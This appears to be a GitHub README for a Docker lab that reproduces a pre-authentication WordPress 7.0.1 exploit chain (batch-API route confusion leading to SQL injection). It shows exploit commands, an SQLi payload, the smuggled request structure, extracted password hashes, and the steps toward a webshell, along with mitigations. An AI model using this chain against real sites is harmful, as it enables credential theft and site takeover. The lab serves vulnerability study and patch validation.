joaovicdev/EXPLOIT-CVE-2026-63030
GitHub: joaovicdev/EXPLOIT-CVE-2026-63030
一个用于复现 WordPress wp2shell 漏洞链的 Docker 实验环境和 Python exploit 工具,演示了预认证路由混淆到 SQL 注入的完整攻击过程。
Stars: 1 | Forks: 1
# 实验 — CVE-2026-63030 (“wp2shell”) + CVE-2026-60137
**故意设置存在漏洞的** Docker 环境,包含 WordPress Core **7.0.1** 以及一个演示 *预认证* **wp2shell** 链的 Python exploit:
| CVE | 组件 | 说明 |
|-----|------------|---------|
| **CVE-2026-63030** | REST API `/wp-json/batch/v1` | *路由混淆*:子请求的验证与分发之间的不同步 |
| **CVE-2026-60137** | `WP_Query` (`author__not_in`) | 当值为**字符串**而非数组时的 SQL injection |
将这些漏洞串联起来,**没有任何凭据**的攻击者就可以执行任意 SQL(并在完整的利用链中,最终实现 RCE)。该漏洞已在 WordPress **6.9.5** 和 **7.0.2** 中修复。
受 RCE 链影响的版本:**6.9.0–6.9.4** 和 **7.0.0–7.0.1**。
## 1. 启动环境
```
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
```
这将创建:
- 网站位于 **http://localhost:8080**
- `admin` / `SuperSecret123!`
- `victim` / `Victim_P@ss_2026` (第二个管理员,也是哈希提取的目标)
- 1 篇已发布的文章(`get_items()` 返回行数据所必需的)
确认易受攻击的版本:
```
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... 或:
docker exec wp2shell-cli wp core version # 7.0.1
```
## 2. 运行 exploit
```
python3 exploit.py --url http://localhost:8080
```
输出(摘要):
```
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
```
其他选项:
```
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
```
该 exploit 仅使用 Python 3 标准库(无额外依赖)。
### 验证泄露的数据是否真实
```
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
```
这些哈希值应与 exploit 提取的**完全一致**(而 exploit 从未访问过数据库)。
## 3. 该利用链是如何工作的(代码中验证的实际机制)
### 3.1 不同步 bug(`serve_batch_request_v1`)
在 `wp-includes/rest-api/class-wp-rest-server.php` 中,批处理 handler 使用了**两个并行的数组**:`$matches`(匹配的路由/handler)和 `$validation`(验证结果):
```
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
```
在分发阶段,handler 是通过 `$matches[$i]` 的索引读取的,而 `$single_request` 和 `$validation[$i]` 则遵循 `$requests` 的完整索引。一个解析失败(`"///"`)的 **primer** 会将 `$matches` 中的所有内容向后推一个位置 —— 因此一个子请求会**在另一个请求的 handler 下被执行**。
### 3.2 GET 子请求的走私(嵌套批处理)
批处理的 schema 只接受 `POST/PUT/PATCH/DELETE` 方法(GET 会被拒绝并报错 `rest_not_in_enum`)。该 exploit 通过**批处理中的批处理**绕过了这一点:
```
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
```
- `carrier` 被作为文章的 `create_item` **验证**(通过:`allow_batch=true`,无必填参数)。由于它*没有*被当作批处理进行验证,它的 `body` **逃避了方法枚举验证**。
- 外部的不同步导致 `carrier` 被**在 `/batch/v1` handler 下分发**(从第 3 个子请求中窃取)→ `serve_batch_request_v1` 处理原始 body,其中包含了 **GET** 子请求。
### 3.3 到达 SQL sink
```
BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
```
新的内部不同步 → `GET /wp/v2/users` 请求(携带**未过滤的** `author_exclude`)在 **`posts get_items()`** 下执行。在那里:
```
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
```
在 `WP_Query`(`class-wp-query.php`)中,存在漏洞的代码如下:
```
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
```
使用的布尔型 Payload:`0) AND (<条件>)-- -`,将 `WHERE` 变成了一个判定器(有文章列表 = true;空列表 = false)。通过二分查找逐个字符进行提取。
## 4. 到 RCE 的完整序列(wp2shell)
本实验验证了**预认证**部分(路由混淆 → SQLi → 哈希泄露),这是整个利用链的核心。安全通报中的完整利用序列还包括:
1. 离线破解 `$wp$2y$...`(bcrypt)哈希 — `hashcat -m 3200`。
2. 使用恢复的密码登录 `/wp-admin`。
3. 上传恶意的 PHP 插件(或编辑主题)→ **webshell / RCE**。
## 5. 缓解措施
- 将 WordPress Core 更新至 **6.9.5 / 7.0.2**(或更高版本)。补丁:
- 即使 `author__not_in` 是字符串,也会强制通过 `wp_parse_id_list` 将其转为整数;
- 确保批处理错误在**两个**数组中都占据位置(彻底消除了不同步)。
- 补偿性缓解措施:使用 WAF 过滤 `/wp-json/batch/v1`,禁用未经身份验证的 REST API,监控包含 SQL 的 `author_exclude` 请求。
## 6. 清理
```
docker compose down -v # remove containers + volumes (dados)
```
## 参考
- Rapid7 — [ETR: CVE-2026-63030 wp2shell](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/)
- The Hacker News — [New wp2shell WordPress Core Flaw](https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html)
- ZSec — [wp2shell Code Trace Deep Dive](https://blog.zsec.uk/wp2shell-code-trace-deep-dive/)
- Mallory.ai — [CVE-2026-63030 REST API Batch Route Confusion](https://mallory.ai/vulnerabilities/CVE-2026-63030)
- Penligent — [wp2shell: Patch Priority & Safe Validation](https://www.penligent.ai/hackinglabs/cve-2026-63030-wp2shell/)
标签:CISA项目, OPA, Python, WordPress, 安全, 文件完整性监控, 无后门, 演示模式, 版权保护, 请求拦截, 超时处理, 逆向工具, 靶场